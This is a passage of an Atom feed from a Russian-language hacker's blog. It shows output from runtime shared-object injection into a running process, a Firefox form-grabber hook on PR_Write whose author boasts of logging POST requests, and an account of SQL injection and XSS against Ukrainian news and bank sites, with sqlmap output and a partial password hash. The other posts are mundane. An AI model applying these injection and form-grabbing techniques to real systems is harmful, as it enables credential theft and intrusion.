&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Please note the &lt;em&gt;RTLD_LAZY&lt;/em&gt; flag (instead of RTLD_NOW), otherwise the GOT[1] pointer would be empty!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I will use the following test program:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;main()
{
        for (;;) {
                printf(&quot;I am running %d\n&quot;, getpid());
                sleep(1);
        }
}
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;And now running the things together:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;
$ ./test 
I am running 31457
I am running 31457
I am running 31457
...
$ gcc -fPIC -shared -Wl,--init=init shared.c -o shared.so
$ ./inject `pidof test` ./shared.so 
Trying to obtain __libc_dlopen_mode()
  address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
success!
me: {__libc_dlopen_mode:0x33e2726db0, dlopen_offset:126db0}
=&amp;gt; daemon: {__libc_dlopen_mode:0x33e2726db0, libc:0x33e2600000}
rdi=7fff79b284d0 rsp=7fff79b28328 rip=33e26aca20
done!

...
I am running 31457
I am running 31457
I am running 31457
0x7f00eb438a40  ./shared.so
0x33e241fdf0    /lib64/ld-linux-x86-64.so.2
0x33e298db40    /lib64/libc.so.6
0x7fff79bff580
0x600768
base _DYNAMIC 0x600768
I am running 32457
I am running 32457
...
&lt;/pre&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;        &lt;li&gt;We successfully injected the complete shared object and ld took care of our own relocations and imports&lt;/li&gt;&lt;br /&gt;        &lt;li&gt;Unlike some modern malware (like &lt;em&gt;Hand of Thief&lt;/em&gt;) we have redirected function call without re-patching its&lt;br /&gt;        prologue (that is the source of crashes in the concurrent environment).&lt;/li&gt;&lt;br /&gt;        &lt;li&gt;The task is accomplished solely in runtime and doesn&apos;t requires any /proc lookups, system calls and pattern matching&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;That&apos;s all. Have a nice day. :-)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;References&lt;/h2&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;        &lt;li&gt;Joe Damato, Injectso64, &lt;a href=&quot;https://github.com/ice799/injectso64&quot;&gt;https://github.com/ice799/injectso6&lt;wbr /&gt;4&lt;/a&gt; , May 2007&lt;/li&gt;&lt;br /&gt;        &lt;li&gt;Ryan O&apos;Neill, &lt;a href=&quot;http://vxheaven.org/lib/vrn00.html&quot;&gt;Modern Day ELF Runtime infection via GOT poisoning&lt;/a&gt;, May 2009&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/78510.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/78510&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>nspr4!PR_Write</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:78186</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/78186.html' />
    <created>2015-03-09T13:15:42Z</created>
    <issued>2015-03-09T15:05:00</issued>
    <modified>2015-03-16T13:38:48Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='firefox' />
    <category term='form grabber' />
    <category term='hand of thief' />
    <category term='hijacking' />
    <category term='inject' />
    <category term='linux' />
    <category term='nspr' />
    <category term='pr_write' />
    <category term='криворукие пидорасы' />
    <content type='text/html' mode='escaped'>Так как никто ничего дельного не пишет, приходится копаться во всяком УГ, типа &lt;em&gt;Hand of Thief&lt;/em&gt;. Оно находит nspr4!PR_Write из проинжектированной либы, и затем затирает пролог jmp (0xe9). Естественно, так как FF хрень многопоточная, то при постоянной перезаписи пролога, креш броузера - это вопрос времени. (У мну пять секунд). Так как, NSPR подгружается динамически, то у PR_Write нет записи в GOT/PLT и PLT Redirection/GOT poisoning работать не будет. Так что нужно либо хватать dlsym до старта, либо внимательнее смотреть на PR_Write, который изначально определен вот так (mozilla/nsprpub/pr/src/io/prio&lt;b&gt;meth&lt;/b&gt;.c , теперь понятно на чем они сидят ;-):&lt;br /&gt;&lt;lj-cut text=&quot;TL;DR&quot;&gt;&lt;pre&gt;PR_IMPLEMENT(PRInt32)
PR_Write(PRFileDesc *fd, const void *buf, PRInt32 amount)
{
        return((fd-&amp;gt;methods-&amp;gt;write)(fd,buf,amount));
}
&lt;/pre&gt;Или в коде:&lt;pre&gt;  33f1a0e7e0:   48 8b 07                mov    (%rdi),%rax
  33f1a0e7e3:   48 8b 40 ??             mov    0x??(%rax),%rax
  33f1a0e7e7:   ff e0                   jmpq   *%rax
  33f1a0e7e9:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)&lt;/pre&gt;&lt;br /&gt;Это я к чему. Не нужно ничего затирать и копировать байты. Нужно затереть ее один раз, а оригинальную функцию положить в отдельно выделенную память и звать ее оттуда. Или, если учесть, что struct PRIOMethods ни разу не менялся - звать напрямую, едва ли его поломают. Вот так:&lt;br /&gt;&lt;pre&gt;static int pr_write(void *handle, void *buffer, int length)
{
        ...
        return ((int (*)(void*,void*,int))
          (*(void***)handle)[&lt;em&gt;а тут кто-то в исходники полезет ;-)&lt;/em&gt;])
            (handle, buffer, length);
}&lt;/pre&gt;Так что правильно, что ХоТ попал под блэк, на хуй, на хуй такой код. А у мну POST-запросы логируются на отлично:&lt;br /&gt;&lt;pre&gt;POST /editjournal.bml HTTP/1.1
Host: lj.rossia.org
Content-Type: application/x-www-form-urlencoded ...&lt;/pre&gt;Чего и вам желаю. В следующий раз еще расскажу, &lt;a href=&quot;http://lj.rossia.org/users/herm1t/78510.html&quot;&gt;как правильно делать GOT poisoning в рантайме&lt;/a&gt;, чтобы ничего не затирать и не копировать. upd. для форм-граббера под FF есть еще более эфектное решение, в котором не нужно ничего патчить, но это совсем другая история.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/78186.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/78186&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Bacula dirty dumper</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:77697</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/77697.html' />
    <created>2014-10-15T13:58:53Z</created>
    <issued>2014-10-15T16:55:00</issued>
    <modified>2014-10-16T10:59:44Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='bacula' />
    <category term='badump' />
    <category term='bextract' />
    <category term='bls' />
    <category term='c' />
    <category term='dump' />
    <category term='emergency' />
    <category term='extract' />
    <category term='hack' />
    <category term='linux' />
    <category term='quick' />
    <category term='x86_64' />
    <content type='text/html' mode='escaped'>Я знаю, это  ужасно, но мне срочно понадобилось распаковать пару томов бакуловских архивов.&lt;br /&gt;Так как bls и bextract вынесли мне мозг нахуй, был написан badump - &lt;a href=&quot;http://pastebin.com/yUeRQBGV&quot;&gt;Bacula Dirty Dumper&lt;/a&gt;,&lt;br /&gt;которому похуй на все, так же, как и мне. Надеюсь, что кроме меня им никто не воспользуется. :-)&lt;br /&gt;&lt;br /&gt;иногда почему-то размер записи превышает размер блока. может он так показывает, что будет продолжение?&lt;br /&gt;думаете я пойду копаться в исходниках сторедж демона? а вот хуй!&lt;br /&gt;&lt;pre&gt;
int ds = roff + DataSize + sizeof(struct record) &amp;lt; eob ?
  DataSize : eob - (roff + sizeof(struct record));
write(last_handle, m + roff + sizeof(struct record), ds);
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/77697.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/77697&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>C vs asm</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:77169</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/77169.html' />
    <issued>2014-08-27T15:30:00</issued>
    <modified>2014-08-27T12:32:24Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='&quot;micode&quot;' />
    <category term='c vs asm' />
    <content type='text/html' mode='escaped'>О, Инди &lt;a href=&quot;https://www.opensc.ws/anti-debug-vm-emulator-snippets/19739-vmbe.html&quot;&gt;появился&lt;/a&gt; и повторяет старые глупости: &quot;It(micode - mutation independent) is impossible to write on C.&quot;:-)&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/77169.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/77169&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Детекты мирного софта</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:76880</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/76880.html' />
    <issued>2014-08-22T15:57:00</issued>
    <modified>2014-08-22T13:00:13Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='avast' />
    <category term='дебилы' />
    <content type='text/html' mode='escaped'>Всегда подозревал, что в антивирусных компаниях сидят дебилы. В этот раз отличился Avast, накрыли сигнатурой абсолютно нормальный код. Не сумели привязаться ни к чему, и добавили функу шифрования (в ней запоминающиеся константы).&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/76880.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/76880&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>говнохак говносайтов</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:76551</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/76551.html' />
    <created>2014-08-05T10:46:10Z</created>
    <issued>2014-08-05T13:30:00</issued>
    <modified>2014-08-05T12:19:31Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='bug' />
    <category term='oschadbank' />
    <category term='rbc' />
    <category term='security' />
    <category term='sqli' />
    <category term='xss' />
    <category term='РБК' />
    <category term='СберБанк' />
    <category term='скука' />
    <content type='text/html' mode='escaped'>&lt;lj-cut text=&quot;блядь, сбербанк...&quot;&gt;&lt;img width=&quot;580&quot; src=&quot;http://s28.postimg.org/ppvlaw7vx/oschad.png&quot; /&gt;&lt;br /&gt;&lt;br /&gt;помимо КДПВ, кое-что нашел... ;-)&lt;br /&gt;&lt;p&gt;Кстати, &lt;a href=&quot;http://lj.rossia.org/users/herm1t/75947.html&quot;&gt;по поводу РБК&lt;/a&gt; (27 мая). В начале копался руками, потом сообразил, что ломали дебилы и нужно быть проще. STFG inurl:&quot;id=&quot; site:rbc.ua дал ссылку на file.php, ну и все:&lt;br /&gt;&lt;p&gt;&lt;strong&gt;sqlmap identified the following injection points with a total of 51 HTTP(s) requests:&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;Type: boolean-based blind
Type: error-based
Type: UNION query
...
available databases [28]&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;(mysql.users) ...localhost,p...,*F22A9DA37E2D88F7176E5&lt;wbr /&gt;B0A4F5C72...,&lt;blank&gt;,N,N,N,N,N,&lt;blank&gt;,N,N,0,N,N,N,&lt;blank&gt;,N,N,N,N,&lt;blank&gt;,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N...&lt;/p&gt;&lt;br /&gt;Фигни всякой понаходилось: , h1&amp;gt;Hacked   AZERBAIJAN Defacers, h1&amp;gt;Hacked   AZERBAIJAN Defacers, h1&amp;gt;Hacked   AZERBAIJAN Defacers, h1&amp;gt;Hacked   AZERBAIJAN Defacers (2009-11-05)&lt;br /&gt;&lt;p&gt;Крысы ходили по серверам, как у себя дома. И на закуску (URI я затер, тут не сервис-центр, бага до сих пор там):&lt;br /&gt;&lt;br /&gt;&lt;lj-cut text=&quot;РБК Украина XSS&quot;&gt;&lt;img src=&quot;http://s30.postimg.org/6m2qe81sx/marketing_XSS.png&quot; width=&quot;580&quot; /&gt;&lt;br /&gt;&lt;p&gt;Стыдно, господа безопасники и хакеры. И адски скучно.&lt;br /&gt;&lt;p&gt;UPD. Написал в Ощад, Дмытру из РБК я уже давно отписался, но что-то мне подсказывает, что это дело дохлое. Если бы не юзера этой фигни, вылил бы все в паблик. Чтобы не мучаться /me ушел баловаться в зону RU.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/76551.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/76551&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>GCC</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:76533</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/76533.html' />
    <issued>2014-07-25T14:52:00</issued>
    <modified>2014-07-25T11:53:00Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='cpp' />
    <category term='gcc' />
    <content type='text/html' mode='escaped'>&lt;b&gt;-B. --no-integrated-cpp&lt;/b&gt; давно уже хотел, но только теперь дошли руки. Ж-)&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/76533.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/76533&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:76283</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/76283.html' />
    <issued>2014-07-09T16:45:00</issued>
    <modified>2014-07-09T13:46:40Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='hack' />
    <category term='leak' />
    <content type='text/html' mode='escaped'>&lt;a href=&quot;http://pastebin.com/2NmdGhWX&quot;&gt;Мы подписывающие соглашения с одной стороны Луганская народная республика, в дальнейшем ЛНР, в лице ....., и общероссийская политическая партия &quot;Коммунистическая партия Российской Федерации&quot;, в дальнейшем КПРФ, в лице...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/76283.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/76283&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:75947</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/75947.html' />
    <created>2014-05-27T12:42:24Z</created>
    <issued>2014-05-27T15:34:00</issued>
    <modified>2014-05-29T10:17:03Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='fake' />
    <category term='hackers' />
    <category term='kiddie' />
    <category term='rcw' />
    <category term='кидди' />
    <category term='рашка' />
    <category term='фейк' />
    <category term='хакеры' />
    <content type='text/html' mode='escaped'>На RBC несусветная хрень:&lt;br /&gt;&lt;blockquote&gt;&lt;noindex&gt;&lt;br /&gt;&lt;strong&gt;Русские хакеры объявили кибер войну Украине&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Русские хакеры организовали &quot;RCW&quot; (Russian Cyber Warrior) для борьбы с не легитимной властью Петра Порошенко. &lt;lj-cut text=&quot;большеада&quot;&gt;Напомним, что Петр Порошенко выиграл выборы на Украине в первом туре, получив более 50% голосов избирателей. Как нам стало известно, на хакерских форумах идет активная подготовка для &quot;кибер&quot; войны с Украинскими властями. Целью хакеров являются крупные структуры экономики Украины, ВПК и Служба безопасности Украины. Первой целью хакеров станет НАК &quot;Нафтогаз Украины&quot;. По заверениям одного из участников &quot;RCW&quot;, банковский счет &quot;Нафтогаза&quot; будет подвергнут взлому и искуственному обвалу активов на финансовом рынке. По оценкам экспертов, &quot;Нафтогаз&quot; рискует потерять до 45% инвестиций, что приведет к окончательному обвалу экономики Украины. Для совершения операции хакеры собирают единомышленников на закрытых хакерских форумах, одними из которых являются &quot;coru&quot;, &quot;w0rmPW&quot;, &quot;exploit&quot;, &quot;fuckav&quot;. Сервером координации выбран &quot;coru&quot;. Координированием занимаeтся некий человек под псевдоними &quot;vazonez&quot;. Вот что по этому поводу нам рассказал начальник СБУ Якименко Александр Григорьевич: &quot;У нас есть все возможности противостоять этим атакам. Наши заокеанские партнеры предоставят нам необходимые кадры для вычисления злоумышленников и пресечением их деятельности&quot;. Что это будет означать? Начало Третьей Мировой войны? Нет, Третья Мировая уже идет - она информационная.&lt;/noindex&gt;&lt;/blockquote&gt;&lt;br /&gt;Якименко назван &quot;начальником СБУ&quot;. Для тех, кто в танке - в бегах он. На &lt;a href=&quot;https://fuckav.ru/showthread.php?p=100406&quot;&gt;факаве говорят&lt;/a&gt; - &quot;пиздеж и провокация&quot;, &quot;izg0y@coru.ws: бред полный&quot;, на &lt;del&gt;сплоите &lt;a href=&quot;https://exploit.in/forum/index.php?showtopic=79312&amp;amp;hl=&quot;&gt;хихикают&lt;/a&gt;&lt;/del&gt;. Какой-то невообразимо дурацкий вброс. Или говновзлом. Школоте припекает, поди взломали РБК-Украина для пиару. Да, и Вазонез не допустил бы грамматических ошибок. Ж-)&lt;br /&gt;&lt;blockquote&gt;From: Dmytro ... &amp;lt;dmytro...@rbc.ua&amp;gt;&lt;br /&gt;&lt;br /&gt;Subject: Re: Fwd: Русские хакеры объявили кибер войну Украине&lt;br /&gt;&lt;p&gt;Спасибо, таки да, это бы взлом. Новость убрали. Ведем работы по устранению уязвимостей...&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/75947.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/75947&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:75597</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/75597.html' />
    <created>2014-05-16T09:51:53Z</created>
    <issued>2014-05-16T12:50:00</issued>
    <modified>2014-05-16T09:52:15Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>Из занятного:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;p&gt;This is a system generated message informing you that the above-named person is a federal prisoner who seeks to add you to his/her contact list for exchanging electronic messages.  There is no message from the prisoner at this time.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;You can ACCEPT this prisoner&apos;s request or BLOCK this individual or all federal prisoners from contacting you via electronic messaging at www.corrlinks.com.  To register with CorrLinks you must enter the email address that received this notice along with the identification code below.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Email Address: ...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Identification Code: ...&lt;/p&gt;&lt;br /&gt;&lt;p&gt;This identification code will expire in 10 days.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;By approving electronic correspondence with federal prisoners, you consent to have the Bureau of Prisons staff monitor the content of all electronic messages exchanged.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Once you have registered with CorrLinks and approved the prisoner for correspondence, the prisoner will be notified electronically.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;For additional information related to this program, please visit the &lt;a href=&quot;http://www.bop.gov/inmate_programs/trulincs_faq.jsp&quot;&gt;http://www.bop.gov/inmate_programs/trul&lt;wbr /&gt;incs_faq.jsp&lt;/a&gt; FAQ page.&lt;/p&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Интересная городушка, но кажется именно с этим типом мне разговаривать не о чем.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/75597.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/75597&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Мда :-)</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:75472</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/75472.html' />
    <issued>2014-04-23T15:37:00</issued>
    <modified>2014-04-23T12:38:24Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='скамерцы' />
    <category term='смешное' />
    <content type='text/html' mode='escaped'>&lt;em&gt;C:\Reliz2\zanovo\FTPSrc_1_1\vorovalka\vo&lt;wbr /&gt;rovalka_05_04_2013\Indy\Lib\Protocols\Id&lt;wbr /&gt;HeaderCoderIndy.pas&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/75472.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/75472&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Copyvio</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:74590</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/74590.html' />
    <created>2014-02-26T13:02:44Z</created>
    <issued>2014-02-26T15:01:00</issued>
    <modified>2014-02-26T14:02:15Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='говно' />
    <category term='копирайт' />
    <category term='пидорасы' />
    <category term='фантастика' />
    <content type='text/html' mode='escaped'>&lt;pre&gt;---------- Forwarded message ----------
From: David Gerrold &amp;lt;dgerrold@gmail.com&amp;gt;
Date: 2014-02-04 22:05
Subject: copyright violation
To: dahmer@vxheaven.org&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Dear sir,&lt;/p&gt;&lt;br /&gt;&lt;p&gt;You have posted on your website the complete text of my novel, &lt;a href=&quot;http://vxheavens.com/lib/mdg00.html&quot;&gt;WHEN HARLIE WAS ONE&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;This novel is currently under copyright and licensed solely to Benbella Books.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I request/demand that you take down that page and any other books or stories that I hold the copyright to.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I will assume that this was done in error and will appreciate your immediate compliance.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Thank you in advance,&lt;/p&gt;&lt;br /&gt;&lt;p&gt;David Gerrold&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/74590.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/74590&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
</feed>
